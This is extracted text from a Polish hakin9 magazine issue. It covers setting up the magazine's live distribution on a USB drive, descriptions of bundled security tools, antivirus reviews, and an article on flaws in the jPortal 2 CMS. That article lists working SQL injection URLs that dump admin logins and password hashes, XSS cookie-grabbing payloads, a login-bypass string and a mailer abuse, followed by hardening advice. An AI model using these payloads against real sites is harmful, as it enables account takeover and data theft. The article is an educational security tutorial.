sda1 /mnt/usb 

Skopiuj pliki hakin9 live do 

przygotowanej lokalizacji:

# cp -a /mnt/cdrom/* /mnt/usb/

Niektóre struktury plików powinny zostać 
usunięte:

# cd /mnt/usb/
# rm boot/vmlinuz
# rm boot/initrd.gz

/mnt/usb powinien znajdować się 
plik syslinux.cfg. Po tej operacji wykonaj 
następujące polecenia:

# umount /dev/usb/
# syslinux /dev/sda1

W przypadku problemów wydaj 
polecenie:

# syslinux-nomtools /dev/sda1

Zrestartuj teraz maszynę i w BIOSie 
ustaw bootowanie z USB-HDD, 
utworzyłeś w pełni funkcjonalny 
system na swoim pendrivie. 
Pamiętaj, że bootowanie z USB jest 
obsługiwane jedynie przez nowe płyty 
główne. Obecnie cała operacja jest 
możliwa tylko z pendrive'ami, które 
posiadają sektor y o rozmiarze 512 
bajtów.

ADVANCED EFS DATA RECOVERY

Advanced EFS Data Recovery (AEFSDR) 
– to aplikacja do odzyskiwania 
(rozszyfrowania) plików znajdujących się 
na partycjach NTFS i zaszyfrowanych 
za pomocą Encrypted File System 
(EFS).

Program obsługuje następujące 

systemy operacyjne:

•   Windows 2000,
•   Windows XP,
•   Windows 2003 Server.

Program umożliwia rozszyfrowanie 
plików nawet w przypadku, gdy system 
nie ładuje się lub są uszkodzone 
niektóre zapisy o kluczach szyfrowania. 
W systemie Windows 2000 możliwy 
jest odczyt wszystkich plików, nawet 
bez posiadania hasła administratora i 
użytkowników!

ADVANCED REGISTRY TRACER

Advanced Registry Tracer (ART) 
– program do analizy zmian w rejestrze 
Windows. 

Umożliwia on stworzenie bazy danych 

ze zrzutami ekranu rejestru i porównywanie 
ich ze sobą. Każdy obraz rejestru można 
analizować za pomocą przeglądarki. 
Program monitoruje zmienione, utworzone i 
usunięte klucze oraz zmianę danych. 

Mogą Państwo tworzyć pliki do 

monitorowania powstania zmian w 
rejestrze. Możliwy jest eksport zawartości 
dowolnego klucza do pliku .reg oraz import 
z takiego pliku w celu np. porównania 
z bieżącym stanem rejestru. Program 
przyda się zwłaszcza do wykrywania 

background image

10

 

NA CD

HAKIN9 4/2008

11

 

HAKIN9.LIVE

HAKIN9 

4/2008

skutków działania wirusów i trojanów oraz 
do rozwiązania problemów związanych 
z niewłaściwą instalacją programów lub 
sterowników.

PROACTIVE PASSWORD AUDITOR

Proactive Password Auditor – narzędzie do 
testowania jakości zabezpieczenia hasłem 
w systemach operacyjnych Windows NT, 
Windows 2000, Windows XP i Windows 
2003 Server. 

Pozwala ono administratorom 

systemowym wykrywać konta użytkowników 
posiadających hasła o zbyt małej 
odporności na ataki (zbyt słabe).

Administrator systemowy może również 

próbować znaleźć hasło dowolnego 
użytkownika za pomocą prostego 
przeszukiwania (brute force) i ataku 
słownikowego.

W celu uzyskania hash’y haseł mogą 

zostać użyte następujące sposoby: 

•   użycie gotowych dump-plików 

uzyskanych przez narzędzia pwdump, 
pwdump2 i pwdump3,

•   odczyt rejestru lokalnego komputera,
•   odczyt pamięci lokalnego komputera,
•   odczyt pamięci zdalnych maszyn 

(dotyczy komputerów z Active Directory).

Odtwarzane są hasła do kont LAN 
Manager i NTLM. Kod programu jest 
optymalizowany pod kątem szybkości 
przeszukiwania haseł.

ARCAVIR 2008 SYSTEM PROTECTION 

Z MODUŁEM ADMINISTRATORA

Pakiet ArcaVir zapewnia wszechstronne 
bezpieczeństwo komputera. Zawiera 
wszystkie elementy niezbędne do pełnej 
ochrony antywirusowej nawet największych 
systemów. Są to między innymi antywirus, 
firewall, antyspam, monitor rejestru, moduł 
kontroli rodzicielskiej, skaner HTTP i inne. 
Więcej informacji znajduje się na stronie 
www.arcabit.pl. Do każdego pakietu 
ArcaVir powyżej 10 licencji dołączany jest 
bezpłatnie Administrator (ArcaAdmin). 
Aplikacja ArcaAdmin umożliwia:

•   sprawną instalację i nadzór nad 

pakietem ArcaVir nawet w bardzo 
dużych sieciach,

•   zarządzanie konfiguracją pakietu 

ArcaVir z centralnej konsoli 
administracyjnej, która zawiera 
informacje o zdarzeniach mających 
miejsce w systemie,

•   monitorowanie stanu pracy ArcaVir 

na wszystkich komputerach 
podłączonych do sieci,

•   efektywne mechanizmy wymiany 

danych pomiędzy serwerem 
zarządzania a zarządzanymi 
stacjami.

Program dołączony do niniejszego wydania 
zawiera zaszyty numer licencji na 20 
stanowisk i 1 serwer z modułem ArcaAdmin. 
Licencja jest ważna na okres 90 dni.

Wymagania techniczne:
Stacja kliencka:

•   Windows 2000 (z SP4) / 2003 (z SP1) / 

XP (z SP2 + uaktualnienia) / VISTA 

•   Pamięć RAM wymagana dla programu 

– 64 MB

Serwer ArcaAdmin:

•   Windows 2000 (z SP4) / 2003 (z SP1) / 

XP (z SP2 + uaktualnienia)

•   Pamięć RAM wymagana dla programu 

– 128 MB

•   Internet Information Services (IIS, 

komponent systemu Windows)

•   .NET Framework 2.0
•   Baza SQL – np. MSDE do pobrania z 

http://www.arcabit.pl/DWT/Programy/
msde.zip

W razie jakichkolwiek dodatkowych pytań 
zapraszamy do skorzystania z pomocy 
technicznej firmy ArcaBit Sp. z o. o., od 
poniedziałku do piątku w godzinach 8:
00 – 20:00, tel. (22) 532-69-20, e-mail: 
pomoc@arcabit.pl.

PANDA ANTIVIRUS 2008

Obecny na rynku od października 
zeszłego roku, Panda Antivirus 2008 to 
jeden z najłatwiejszych w użytkowaniu 
systemów zabezpieczeń komputera.
Prostota obsługi idzie w parze z 
niezwykle rozległą funkcjonalnością 
i wysokim poziomem zabezpieczeń. 
Korzystanie z czatów, udostępnianie 
zdjęć i filmów, czytanie blogów, a także 

surfowanie po Internecie stanie się teraz 
bezpieczniejsze. Dodatkowym atutem 
jest także niewielkie wykorzystanie 
zasobów systemowych, dzięki czemu 
Panda Antivirus 2008 staje się bardzo 
interesującym narzędziem dla każdego 
użytkownika komputera, szukającego 
profesjonalnej ochrony. Co zaoferować 
może zatem najnowszy produkt firmy 
Panda Security? 

Na początku warto przybliżyć 

moduł szczegółowego skanowania 
on-line, który dostępny jest w ramach 
Megadetection – najnowszego modelu 
ochrony oferowanego przez Panda 
Security. Megadetection to cztery 
filary bezpieczeństwa, które pozwalają 
zapewnić niespotykany dotąd poziom 
zabezpieczeń. Filarami tymi są opisane 
poniżej: ochrona rezydentna przed 
wszelkimi złośliwymi kodami, moduł 
odpowiedzialny za wyszukiwanie 
nieznanych zagrożeń oraz całodobowe 
wsparcie techniczne. Ostatnim 
elementem jest właśnie możliwość 
skanowania on-line. Użytkownik 
posiadający program Panda może 
zalogować się na specjalnej stronie 
WWW i przeprowadzić zewnętrzne 
skanowanie. Niezwykle istotny jest fakt, 
iż skaner ten wykrywa w chwili obecnej 
niemal 3 miliony zagrożeń! Dzięki 
temu użytkownik chroniony jest na 
niespotykanym do tej pory poziomie.

Program chroni także rezydentnie 

przed wszelkimi zagrożeniami. Jeżeli 
zatem nie posiadasz oprogramowania 
ochronnego, a z komputera znikają 
dokumenty, masz problemy z 
uruchomieniem komputera, a niektóre 
z plików nie nadają się do użytku 
– możesz mieć pewność, że komputer 
padł ofiarą wirusa i instalacja programu 
Panda Antivirus 2008 jest niezbędna. 
Ochroni on w pełni przed wirusami, 
robakami i trojanami, które stosują 
wciąż nowe techniki, aby uniknąć 
wykrycia. Panda Antivirus 2008 pozwala 
korzystać z Internetu, a także pobierać 
oraz udostępniać pliki bez obaw o 
zainfekowanie jakimikolwiek wirusami, 
robakami czy trojanami. Panda bardzo 
dużą uwagę poświęca programom 
szpiegującym, automatycznie wykrywając 
i skutecznie usuwając tego typu złośliwe 
kody oraz inne irytujące aplikacje. 

background image

12

 

NA CD

HAKIN9 4/2008

Program usuwa także coraz groźniejsze 
rootkity, które wykorzystywane są do 
ukrywania zagrożeń – tak, aby te nie 
zostały rozpoznane przez standardowe 
aplikacje antywirusowe. Takie zagrożenia 
mogą następnie bezkarnie działać w 
systemie. 

Dzięki Panda Antivirus 2008 możesz 

całkowicie uwolnić się rootkitów, gdyż 
zaawansowany system zabezpieczeń 
(uznany za najlepsze tego typu narzędzie 
na świecie) potrafi wykrywać zagrożenia 
stosujące wszelkie zakazane techniki.

Mimo, iż program nie posiada 

modułu Firewall, zapewnia ochronę przed 
oszustwami on-line. Niektóre wiadomości 
email mają na celu skłonienie użytkownika 
do ujawnienia swoich poufnych danych 
bankowych. Nadawcą wiadomości 
tego rodzaju z pozoru może być bank. 
Wpadnięcie w podobną pułapkę może 
okazać się bardzo kosztowne, ponieważ 
oszuści uzyskują pełny dostęp do naszego 
konta. Panda Antivirus 2008 potrafi 
zidentyfikować fałszywe wiadomości 
tego rodzaju i zapobiegać kradzieżom 

danych bankowych, numerów kont i innych 
poufnych informacji. Panda Antivirus 
2008 zabezpieczy zatem komputer przed 
niebezpiecznymi oszustwami. Bezpieczne 
korzystanie z bankowości internetowej i 
zakupów on-line stało się faktem. Program 
zabezpiecza także przed niebezpiecznymi 
witrynami WWW. Pamiętać należy, że wiele 
infekcji ma miejsce podczas odwiedzania 
różnych stron internetowych. Panda 
Antivirus 2008 rozpoznaje niebezpieczne 
witryny i uniemożliwia ich odwiedzanie, 
co pozwala uniknąć infekcji. Funkcja ta 
jest szczególnie skuteczna w przypadku 
niektórych rodzajów oprogramowania 
szpiegującego oraz oszustw on-line. 
Teraz możesz bezpiecznie korzystać z 
Internetu, a Panda w pełni zadba o Twoje 
bezpieczeństwo.

Fakt, iż każdego dnia pojawia się 

ponad 2000 nowych zagrożeń, dla wielu 
osób jest nadal szokujący. Dla Panda 
Antivirus 2008 tak duża ilość złośliwych 
kodów nie jest problemem. Program 
dokonuje automatycznych aktualizacji, 
które pojawiają się przynajmniej raz 

dziennie. Dzięki temu każdy czuć 
może się bezpiecznie przez cały 
czas! Dodatkowo Panda Security jest 
pionierem w świadczeniu 24-godzinnej 
pomocy technicznej. Przez całą dobę 
laboratorium PandaLabs wraz ze 
specjalistami z pomocy technicznej 
udzielą szybkiej odpowiedzi, korzystając 
z wiadomości email lub Internetu. 
Fachowa pomoc zespołu specjalistów 
jest dla każdego na wyciągnięcie ręki!

A jakie wymagania ma tak skuteczny 

system antywirusowy? Niewielkie! 
Program działa nawet na komputerach, 
które pamiętają jeszcze poprzednie 
stulecie. Dokładniejsze wymagania 
systemowe znaleźć można poniżej:

•   Procesor: Pentium 150 MHz lub 

szybszy

•   RAM: 64 MB
•   Dysk twardy: 170 MB wolnego miejsca
•   System operacyjny: Windows Vista 32 

oraz 64 bit, Windows XP 32 oraz 64 
bit, Windows 2000

•   Internet Explorer 6.0
•   napęd CD-ROM

PODZIĘKOWANIA

Serdeczne podziękowania dla 
dystrybutora Softkey Poland Sp. z o.o. 
http://www.softkey.pl/ za udostępnienie 
programów Elcomsoft na płytę.

Rysunek 1. 

Panda Antyvirus

Żeby uruchomić swój komputer z płyty 

hakin9.live, ustaw swój BIOS na 

bootowanie z napędu CD-ROM. Po 

dokonanych zmianach uruchom 

ponownie komputer. Uruchomi się 

dytrybucja hakin.live, na której możesz 

przećwiczyć techniki prezentowane w 

tutorialach. Upewnij się, ze sprawdziłeś 

desktopowe foldery – zawierają wiele 

dodatkowych materiałów. Zawartość CD 

można również przejrzeć w systemie 

Windows.

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona 

uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch 

napędach CD.

W razie problemów z płytą, proszę napisać pod adres:

cd@software.com.pl

background image

14

 

NARZĘDZIA

HAKIN9 4/2008

15

 

NARZĘDZIA

HAKIN9 

4/2008

Produkt Norton 360 dostarcza 
użytkownikowi wielomodułowe 
oprogramowanie do ochrony 

komputera przed szerokim wachlarzem 
zagrożeń, takich jak: spyware, wirusy, rootkity, ataki 
typu phishing. Produkt zawiera także moduły: 
dwukierunkowego firewalla, ochrony przed 
wyłudzaniem danych, uwierzytelniania witryn 
internetowych, skanowania poczty elektronicznej 
oraz dodatkową usługę chroniącą przed 
atakami zdalnymi, wyposażoną w bogatą bazę 
sygnatur ataków. Produkt oczywiście zawiera 
funkcję Auto-Protect, dynamicznie sprawdzającą 
wszystkie pliki, do których użytkownik zażądał 
dostępu od systemu operacyjnego oraz funkcję 
LiveProtect, odpowiadającą za automatyczne 
pobieranie nowych sygnatur – zarówno wirusów, 
jak i pozostałych rodzajów zagrożeń. Cały 
proces aktualizacji odbywa się automatycznie, 
bez ingerencji użytkownika. Naturalnie ta, jak i 
pozostałe funkcje są w pełni konfigurowalne w 
panelu głównym programu. Wspomniane powyżej 
moduły to tylko część najważniejszych funkcji 
produktu Norton 360. Nie wspomniałem o kilku 
mniej istotnych elementach, takich jak: moduł 
sprawdzający słabe hasła, moduł weryfikujący 
stan aktualizacji systemu operacyjnego, kopii 
zapasowej najbardziej newralgicznych danych, 
czy wreszcie opcji bezpiecznego przechowywania 
danych na serwerze firmy. Standardowo 
użytkownik otrzymuje 2GB przestrzeni dyskowej 
na serwerze, jeśli potrzebna jest większa jej ilość 
– nie ma problemu z dokupieniem kolejnych GB. 
Osobiście bardzo podoba mi się ta możliwość 
wprowadzona do produktu Norton 360 
– zewnętrzny, niezależny backup danych jest jak 
najbardziej na czasie.

Część odpowiadająca za optymalizację 

komputera w czasie jego działania składa się z 
trzech elementów czyszczących: historię internetową, 
pliki tymczasowe stron internetowych oraz pliki 
tymczasowe systemu operacyjnego. Czwartym 
elementem jest moduł defragmentatora dysków.

Jako, iż dysponuję profesjonalnym programem 

do defragmentacji dysków, przeanalizowałem 

partycję podstawową i zapisałem ilość 
pofragmentowanych plików, a także ilość 
fragmentów dwóch najbardziej pociętych plików. 
Po zanotowaniu tych wielkości uruchomiłem 
opcję Optymalizuj dyski w programie Norton 
360. Po zakończeniu pracy defragmentatora 
zrestartowałem komputer, licząc na połączenie 
pofragmentowanego pliku pagefile.sys
Uruchomiwszy komputer, sprawdziłem statystyki 
defragmentacji partycji. Plików pofragmentowanych 
pozostało 949 (wcześniej 1121), a jeśli chodzi 
o najbardziej pofragmentowane pliki: pierwszy 
składał się z 1050 fragmentów (wcześniej 1050), 
drugi z 816 (wcześniej 816). Dodatkowo plik 
pagefile.sys pozostał nietknięty. Byłem – delikatnie 
mówiąc – zszokowany. Następnie w ramach testu 
porównawczego użyłem profesjonalnego programu 
do defragmentacji. Wyniki, jakie uzyskałem: ilość 
pofragmentowanych plików – 46 (wcześniej 949) 
i oba najbardziej pofragmentowane pliki zostały 
ułożone na dysku tak, by były w jednej części. 
Dodatkowo plik pagefile.sys dzięki opcji early boot 
defrag 
został scalony w jeden ciągły obszar.

Idąc dalej, sprawdziłem, co oferuje użytkownikowi 

moduł czyszczący. Okazało się, iż usuwanie historii 
otwieranych stron dotyczy tylko jednej przeglądarki: 
IE (Opera, Firefox, Netscape Navigator – zostały 
nietknięte). Pliki tymczasowe systemu operacyjnego 
znajdują się tylko w Windows\Temp, a tymczasowe 
pliki internetowe – w katalogu Ustawienia lokalne\
Temp\Temporary Internet Files
. Muszę wspomnieć, 
iż w przypadku programów czyszczących katalogi 
systemowe z plików tymczasowych istnieją o niebo 
lepsze rozwiązania i do tego darmowe.

Dobre imię programu Norton 360 zostaje 

obronione przez moduły: antywirusowy, 
firewalla i detektora ataków (zawierającego 
imponujące bazy sygnatur). W ramach 
testu antywirusa sprawdziłem swoje lokalne 
archiwum testowe zawierające około czterystu 
wirusów. Uzyskane rezultaty pokrywały się 
z testem przeprowadzonym przy pomocy 
pewnego programu AV, o którym mówi się, iż 
posiada najlepszy silnik heurystyczny na rynku 
programów antywirusowych.

Producent

Symantec

System

MS Windows XP/Vista

Typ 

Pakiety zabezpieczające

Strona dystrybutora

www.softpoint.com.pl

Recenzent

Patryk Branicki

Norton 360

«««««

OCENA

background image

14

 

NARZĘDZIA

HAKIN9 4/2008

15

 

NARZĘDZIA

HAKIN9 

4/2008

Duże pudełko, w środku płyta, którą 
wkładam do komputera. Do tej pory 
używałem różnych darmowych wersji 

programów antywirusowych. Moja maszyna 
to stary pecet z Celeronem 750MHz i 512MB 
pamięci RAM. 

Po włożeniu płyty uruchamia się miły dla 

oka interfejs instalacyjny. Opcje instalacji 
są przejrzyste, także dla standardowego 
użytkownika. Włączenie trybu zaawansowanego 
powoduje, że możemy zaingerować w ustawienia 
programu i tutaj zauważyłem pewne zgrzyty. 
Niektóre opcje (np. rozróżnienie na potencjalne 
niechciane i potencjalnie niebezpieczne) 
nie są zbyt dobrze opisane i trzeba trochę 
pogłówkować, zanim zrozumiemy, co można 
zmienić i jak to wpłynie na działanie programu w 
przyszłości.

Po instalacji nie jest wymagane ponowne 

uruchomienie komputera – przynajmniej w 
systemie Windows XP, co również można uznać 
za plus tego skanera.

Nadeszła chwila prawdy. Program 

rozpoczyna działanie – w tle włącza się 
ochrona antywirusowa, a ja ładuję domyślny 
profil skanowania in-depth i uruchamiam 
skanowanie dysku systemowego. Klikam na 
przeglądarkę – uruchamia się bez problemu 
i za chwilę mam już otwartych kilka zakładek. 
Nie daję za wygraną, uruchamiam jeszcze kilka 
programów. Dopiero kiedy usiłuję obejrzeć 
film, zauważam pierwsze oznaki spowolnienia 
systemu.

I to właśnie między innymi świadczy 

o rewelacyjności programu. NOD32 jest 
bardzo szybkim skanerem i, co ważniejsze, 
obciążającym nasz komputer w wyjątkowo 
niewielkim stopniu. Poprzednikowi 
przeskanowanie dysków mojego komputera 
zajmowało około 3h. Eset NOD32 skanuje 
ten sam obszar w 1h 15min. Jak dla mnie 
– rewelacja. Oprócz tego działanie ochrony 
antywirusowej nie jest odczuwalne nawet przy 
odbieraniu sporych przesyłek pocztowych 
(domyślna integracja z Outlook Express i 

Microsoft Outlook). Moduł antyspyware jest 
zintegrowany z popularnymi przeglądarkami 
internetowymi i również nie powodował 
żadnego spowolnienia ich pracy, nawet 
z włączoną opcją trybu aktywnego (na 
marginesie – autorzy aplikacji nie tłumaczą 
nigdzie, co to dokładnie jest tryb aktywny 
i pasywny oraz na czym polega różnica 
–zważywszy na fakt, że wspomniane 
opcje dostępne są dla zaawansowanych 
użytkowników, jest to dla mnie minus). NOD 
wyróżnia się też spośród innych skanerów 
świetnie dobranymi domyślnymi ustawieniami 
programu. Widać, że są one nie tylko 
domyślne, ale i przemyślane. Testowane są 
na przykład wszystkie pliki, a nie tylko pliki 
infekowalne

NOD32 dostępny jest w wielu wersjach, także 

dla systemów Open Source (Red Hat, SuSE, 
BSD), co także składa się na pozytywną ocenę 
tego oprogramowania.

Ogólna ocena bardzo dobra z lekkim 

minusem. Plusy: łatwa instalacja, bardzo dobre 
ustawienia domyślne, rewelacyjna szybkość 
działania. 
Minus: brak szczegółowych opisów podczas 
instalacji w trybie zaawansowanym 
– przypuszczam jednak, że dla wielu 
użytkowników nie będzie to wadą, ponieważ 
nie będą odczuwać potrzeby skorzystania z tej 
funkcjonalności.

Producent

ESET 

System

Windows 95 / 98 / ME, 
Windows NT / 2000 / 
XP / Vista oraz Windows 
2003

Typ

Antywirus

Strona dystrybutora

www.dagma.pl

Recenzent

Daniel Zimnicki

ESET NOD32 

Antivirus 3.0 Home

«««««

OCENA

background image

16

 

POCZĄTKI

HAKIN9 4/2008

Z

arówno instalacja, jak i administracja 
tym systemem są bardzo proste. 
Być może dlatego jest on tak 

rozpowszechniony. Ale również dlatego, że 
bez żadnej wiedzy na temat tworzenia stron 
możemy cieszyć się profesjonalnym wyglądem 
naszej strony. Jednak CMS posiada wiele 
błędów. Przyjrzymy się im oraz spróbujemy 
zabezpieczyć naszą stronę przed atakami 
hakerów.

SQL Injection

Pierwszą luką, jaką posiada nasz system jest 
możliwość wstrzyknięcia zapytania do bazy 
MySQL. Przeanalizujmy jedno z zapytań:

ARTUR CZYŻ

Z ARTYKUŁU 

DOWIESZ SIĘ

jak ominąć zabezpieczenia 

systemu jPortal 2,

jak zabezpieczyć jPortal 2.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawy PHP,

znać podstawy SQL Injection 

i XSS.

articles.php?topic=-100 union select 1,
concat(nick,char(58),pass),
3,4,5 from admins limit 1/* 

W powyższym zapytaniu wykorzystywany jest błąd 
w pliku articles.php. Zwróćmy jednak uwagę na 
każdą część naszego zapytania. Rozpoczynamy 

-100

 lub jakimiś innymi znakami, które zwrócą 

Stopień trudności

Niebezpieczny 

jPortal 2 

Ostatnio przeglądając strony internetowe zwróciłem szczególną 

uwagę na szeroko rozpowszechniony system portalowy o nazwie 

jPortal 2.

Rysunek 1. 

Efekt wstrzykniętego zapytania – SQL 

Injection.

Listing 1. 

Przykładowe zapytania

print

.php

?

what=article&id=1

%20

AND

%201

=0

%20

UNION

%20

SELECT

%20

id,id,nick,pass,id,id,id,id,id

%20

from

%20

a

dmins

%20

LIMIT

%201

 

comment.php

?

what=news&id=1 

and

 1=0 union 

(

select null, null, nick, null, null, null, null, null, 

null, null, null, null from admins limit n,1

)

 

comment.php

?

what=news&id=284 

and

 1=0 union 

(

select null, null, pass, null, null, null, null, null, 

null, null, null, null from admins limit n,1

)

 

print

.php

?

what=article&id=1 

AND

 1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1 

news.php

?

id=1

%20

AND

%200%20

=

%201%20

UNION

%20

SELECT

%20

*,

%201

,

%201

,

%201

,

%201%20

FROM

%20

admins

%20

— 

print

.php

?

what=article&id=1

%20

AND

%201

=0

%20

UNION

%20

SELECT

%20

id,id,nick,pass,id,id,id,id,id

%20

from

%20

a

dmins

%20

LIMIT

%201

 

forum.php

?

cmd=search&word=Trey&where=author

%20

and

%201

=0

%20

union

%20

select

%20

null,null,nick,pass,null, 

null,null,null,null,null,null,null,null,null,null

20from

%20

admins

%20

/* 

forum.php?cmd=search&word=Trey&where=author%20and%201=0%20union%20select%20null,null,nick,pass,null, 

null,null,null,null,null,null,null,null,null,null% 20from%20users%20/* 

articles.php?topic?id=-2/**/

UNION

/**/

SELECT

/**/

1,concat

(

pass,

char

(

58

)

,nick

)

,3,4,5

/**/

from

/**/

admins/

articles.php

?

topic=-100 union select 1,concat

(

nick,

char

(

58

)

,pass

)

,3,4,5 from admins limit 1/* 

background image

17

 

NIEBEZPIECZNY JPORTAL 2

HAKIN9 

4/2008

błąd – nic nie stoi na przeszkodzie, aby 
użyć identyfikatora rozpoczynającego się 
znakiem minus.

Union select 1,concat(nick,
char(58),pass),3,4,
5 from admins limit 1/* 

to zapytanie do bazy, które oznacza w 
dosłownym tłumaczeniu Wyciągnij z 
bazy admins z drugiej kolumny (login 
i hasło), pierwszego użytkownika

Zapytanie wystarczy dokleić do strony, 
np. http://www.przykładowastrona.pl/
articles.php?topic=-100 union select 1,con
cat(nick,char(58),pass),3,4,5 from admins 
limit 1/*.
 Po wklejeniu takiego zapytania w 
pasek adresu przeglądarki i wywołaniu 
strony na ekranie w miejscu nazwy tematu 
powinny nam się ukazać login i hasło: 
Artykuły >> admin:52g76h78jh87yu6ty6u7i8u
7y6t5t6y4
.

Nasze hasło będzie prawdopodobnie 

zakodowane w postaci skrótu MD5 
(lub przy pomocy innego algorytmu 
szyfrującego, choć niekiedy może 
być w postaci jawnej – zobaczymy 
wtedy coś takiego: Artykuły >> admin:
mojetajnehaslo
 (Rysunek 1). Inne 
zapytania, jakich możemy użyć, aby 
uzyskać pożądany efekt, znajdują się na 
Listingu 1. Zapytania możemy dowolnie 
modyfikować w zależności od naszych 
potrzeb, np. zamiast wyciągać z bazy 
danych hasło możemy użyć poleceń typu 

database()

now()

version()

load _

file()

. Zapytania możemy dowolnie 

łączyć dzięki wykorzystaniu funkcji 

concat()

, np.

articles.php?topic=-100 union select 1,
concat(nick,char(58),pass,char(58),
database()),3,4,5 from admins limit 1/*. 

Funkcja 

char()

 wczytuje znak o 

podanym kodzie z tablicy ASCII 
– w naszym przypadku wartości 

58

 

przyporządkowany jest dwukropek. 
Jeżeli podane zapytanie zwróci błąd, 
prawdopodobnie podaliśmy złą liczbę 
kolumn lub nazwę bazy. Najczęstszymi 
nazwami bazy dla przykładowej strony 
http://przykladowastrona.pl będą bazy 
o nazwie: jp_adminsadminsusers
jp_przykladowastronaprzykladowastrona_
admins
przykladowastrona_users. Myślę, 
że zrozumieliście, o co mi chodzi, dlatego 
przejdziemy teraz do błędów XSS.

XSS

Kolejnym błędem, który występuje w 
naszym systemie portalowym, jest błąd 
pozwalający wstrzyknąć kod wykonujący 
się po stronie serwera. Przyjrzyjmy się 
poniższemu zapytaniu:

http://www.przykładowastrona.pl/
news.php?page=666&news=”>
<script>alert(0);</script>

Gdybyśmy uruchomili w przeglądarce 
taki kod, zostałoby wyświetlone tradycyjne 
zero (0). Wiele osób uważa, że taki 
atak nie jest niebezpieczny. Z pewnego 
punktu widzenia jest tak w istocie, 
ale jeżeli umiejętnie spreparujemy 
zapytanie, możliwe jest między innymi 
przechwycenie cookies administratora 
strony.  Poniższy kod zwróci nam nasze 
cookies na stronie:

http://www.przykładowastrona.pl/
news.php?page=666&news=”><script>alert
(document.cookie);</script>

W Sieci

•   http://cc-team.org,
•   http://milw0rm.com,
•   http://packetstorm.org,
•   http://securityfocus.com,
•   http://securitydot.com, 
•   http://www.jp.packs.prv.pl,
•   http://www.haxite.org/index.php3?site=ar

tykul&nx1=artykul_view&id=792.

Rysunek 2. 

PHPShell – narzędzie posiada masę opcji, które ułatwią administrację stroną

Listing 3. 

Przykładowe zapytania do 

ataków XSS

module.php

?

op=forum&category=

[

xss

]

module.php

?

op=forum&page=

[

xss

]

&cmd=show

&id=

[

xss

]

&catego

ry=

[

xss

]

print

.php

?

what=news&id=

[

xss

]

print

.php

?

what=article&id=

[

xss

]

module.php

?

op=sendnews&id=

[

xss

]

Listing 4. 

Zabezpieczanie jPortal 2

<?

mysql_query

(

"INSERT INTO tabela 

(

id, 

post, get

)

 

VALUES

(

NULL, 

'htmlspecialchars($_POST[x])'

,

'htmlspecialchars($_GET[x])'

)

;";

?>

Listing 2. 

Błąd występujący w pliku 

mailer.php

mailer.php

?

to=adresat

@email

.com&sub

ject

=TestWiadomosci&from_name=Admin&
from_mail=admin

@adres

.com&body=

TestExploita&ok=wyslij&cmd=sendmail

background image

18

 

POCZATKI

HAKIN9 4/2008

NIEBEZPIECZNY JPORTAL 2

19

 

HAKIN9 

4/2008

Nie powinniśmy lekceważyć tego 
błędu.

Błąd w panelu 

administracyjnym

Istnieje również błąd w panelu 
administracyjnym, który w pewnych 
przypadkach pozwala nam na logowanie 
bez znajomości hasła. Wystarczy w pole 
login wpisać następujący kod: 

blad' OR 

id=1 OR id<>'0

. Ta metoda jednak nie 

zawsze działa.

E-mail ze strony

jako administrator

Kolejny błąd występuje w pliku mailer.php 
w zmiennej 

$to

. Pozwala nam on na 

wysłanie e-maila z konta administratora 
strony na dowolny inny adres e-mail. 
Przeanalizujmy poniższe zapytanie: 

adresat@email.com

 – w to miejsce 

wklejamy e-mail na który wysyłamy; 

admin@adres.com

 – tutaj umieszczamy 

adres admina, czyli w naszym przypadku 
jest to: 

admin@podatnastrona.pl

TestWiadomosci

 – tutaj wklejamy tekst, 

który ma się znaleźć w e-mailu.(Listing 2.)

Bezpośrednią przyczyną występowania 

tego błędu jest fakt, że jPortal 2 nie 
sprawdza, czy zmienna pochodzi z tablicy 
POST czy GET.

Bezpieczeństwo

Pokażę teraz, jak możemy zabezpieczyć 
jPortal 2 tak, aby uniemożliwić 
lub chociaż zminimalizować 
prawdopodobieństwo udanego ataku. 

Listing 5. 

Zmiana sposobu dostępu do logowania na panel administratora

//1. W pliku admin.php
//a) zamiast

include

(

"admin/01.adm.php"

)

;

include

(

"admin/02.adm.php"

)

;

//wpisujemy

include

(

"tajnelogowanie/01.adm.php"

)

;

include

(

"tajnelogowanie/02.adm.php"

)

;

//b) zamiast

<?

if

(

file_exists

(

'admin/'

.

$op

.

'.adm.php'

))

    

{

        

include

(

'admin/'

.

$op

.

'.adm.php'

)

;

    

}

    

elseif

(

$op

==

''

)

    

{

        

$cmd

 = 

'options'

;

        

include

(

'admin/.adm.php'

)

;

?>

//wpisujemy

<?

if

(

file_exists

(

'tajnelogowanie/'

.

$op

.

'.adm.php'

))

    

{

        

include

(

'tajnelogowanie/'

.

$op

.

'.adm.php'

)

;

    

}

    

elseif

(

$op

==

''

)

    

{

        

$cmd

 = 

'options'

;

        

include

(

'tajnelogowanie/.adm.php'

)

;

?>

//c) zamiast

if

(

$_REQUEST

[

'cmd'

]

==

'logout'

)

{

$_SESSION

[

'nick'

]

 = 

'********************'

;

$_SESSION

[

'pass'

]

 = 

'********************'

;

header

(

'Location: admin.php'

)

;

}

//wpisujemy

if

(

$_REQUEST

[

'cmd'

]

==

'logout'

)

{

$_SESSION

[

'nick'

]

 = 

'********************'

;

$_SESSION

[

'pass'

]

 = 

'********************'

;

header

(

'Location: tajnelogowanie.php'

)

;

}

//d) zamiast

admin_nawigator

()

;

//wpisujemy

tajnelogowanie_nawigator

()

;

/*e) zmieniamy nazwę pliku admin.php na tajnelogowanie.php oraz 

folderu admin na  tajnelogowanie.*/

//2. W pliku .adm.php
//zamiast

echo

 '

<

form method=

"post"

 

action=

"admin.php?op='.$op.'"

><

font 

size=

"2"

><

b

>

·

<

/b

>

 Dodanych komentarzy: 

<

b

>

'.$n.'

<

/b

><

br

>

';

//wpisujemy

echo

 '

<

form method=

"post"

 

action=

"tajnelogowanie 

.php?op='.$op.'"

><

font size=

"2"

><

b

>

·

<

/b

>

 

Dodanych komentarzy: 

<

b

>

'.$n.'

<

/b

><

br

>

';

//3. W pliku 01.adm.php
//zamiast

header

(

"Location: admin.php"

)

;

//wpisujemy

header

(

"Location: tajnelogowanie.php"

)

;

//4. W pliku 02.adm.php
//zamiast

<?

echo

 '

<

a href=

"admin.php"

 

class=

"t_main"

>

Opcje

administracyjne

<

/a

>

';

if(file_exists('

admin/

'.$file.'

.name

')) {

$name = file('

admin/

'.$file.'

.name

');

